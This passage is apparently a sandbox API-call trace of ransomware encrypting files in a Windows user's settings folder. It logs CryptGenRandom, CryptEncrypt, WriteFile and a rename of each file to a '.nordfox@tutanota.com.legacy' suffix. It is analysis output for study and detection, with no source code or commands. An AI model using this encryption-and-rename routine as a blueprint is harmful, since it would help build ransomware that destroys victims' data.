pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.803] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.803] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.803] CloseHandle (hObject=0x1c24) returned 1 [0197.803] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_IsEchoCharacterEnabled.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_narrator_isechocharacterenabled.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_IsEchoCharacterEnabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_narrator_isechocharacterenabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.806] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0197.806] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.806] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_IsDuckAudioEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.806] ReadFile (in: hFile=0x1c24, lpBuffer=0x3562008, nNumberOfBytesToRead=0x54b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesRead=0x2e1f9bc*=0x54b, lpOverlapped=0x0) returned 1 [0197.807] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1355, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.807] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562560*, nNumberOfBytesToWrite=0x54b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562560*, lpNumberOfBytesWritten=0x2e1f9bc*=0x54b, lpOverlapped=0x0) returned 1 [0197.808] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x54b [0197.808] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.808] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.808] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.809] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.809] CloseHandle (hObject=0x1c24) returned 1 [0197.809] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_IsDuckAudioEnabled.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_narrator_isduckaudioenabled.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_IsDuckAudioEnabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_narrator_isduckaudioenabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.811] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0197.811] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0197.811] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_IsAutoStartEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.811] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x546, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x546, lpOverlapped=0x0) returned 1 [0197.812] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1350, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.813] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x546, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x546, lpOverlapped=0x0) returned 1 [0197.813] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x546 [0197.813] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.813] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.813] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.814] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.814] CloseHandle (hObject=0x1c24) returned 1 [0197.814] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_IsAutoStartEnabled.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_narrator_isautostartenabled.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_IsAutoStartEnabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_narrator_isautostartenabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.816] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0197.816] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.816] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_MouseCursorSize.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.817] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x50e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x50e, lpOverlapped=0x0) returned 1 [0197.818] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1294, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.818] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x50e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x50e, lpOverlapped=0x0) returned 1 [0197.819] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x50e [0197.819] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.819] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.819] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.820] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.820] CloseHandle (hObject=0x1c24) returned 1 [0197.820] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_MouseCursorSize.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_mousecursorsize.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_MouseCursorSize.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_mousecursorsize.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.822] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0197.822] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0197.822] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_MouseCursorColor.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.822] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x514, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x514, lpOverlapped=0x0) returned 1 [0197.823] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1300, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.823] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x514, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x514, lpOverlapped=0x0) returned 1 [0197.824] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x514 [0197.824] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.824] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.824] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.824] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.825] CloseHandle (hObject=0x1c24) returned 1 [0197.825] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_MouseCursorColor.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_mousecursorcolor.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_MouseCursorColor.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_mousecursorcolor.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.828] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0197.828] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0197.828] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Magnifier_IsInversionColorEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.829] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x566, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x566, lpOverlapped=0x0) returned 1 [0197.830] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1382, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.830] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x566, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x566, lpOverlapped=0x0) returned 1 [0197.830] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x566 [0197.830] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.830] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.831] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.831] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.831] CloseHandle (hObject=0x1c24) returned 1 [0197.831] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Magnifier_IsInversionColorEnabled.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_magnifier_isinversioncolorenabled.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Magnifier_IsInversionColorEnabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_magnifier_isinversioncolorenabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.833] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0197.833] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0197.833] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Magnifier_IsFollowKeyFocusEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.834] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x575, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x575, lpOverlapped=0x0) returned 1 [0197.835] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1397, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.835] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x575, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x575, lpOverlapped=0x0) returned 1 [0197.835] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x575 [0197.835] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.835] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.835] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.843] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.843] CloseHandle (hObject=0x1c24) returned 1 [0197.844] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Magnifier_IsFollowKeyFocusEnabled.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_magnifier_isfollowkeyfocusenabled.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Magnifier_IsFollowKeyFocusEnabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_magnifier_isfollowkeyfocusenabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.845] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0197.845] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0197.845] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Magnifier_IsFollowInsertPointEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.846] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x584, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x584, lpOverlapped=0x0) returned 1 [0197.847] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1412, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.847] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x584, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x584, lpOverlapped=0x0) returned 1 [0197.847] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x584 [0197.847] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.847] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.848] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.848] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.848] CloseHandle (hObject=0x1c24) returned 1 [0197.848] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Magnifier_IsFollowInsertPointEnabled.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_magnifier_isfollowinsertpointenabled.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Magnifier_IsFollowInsertPointEnabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: 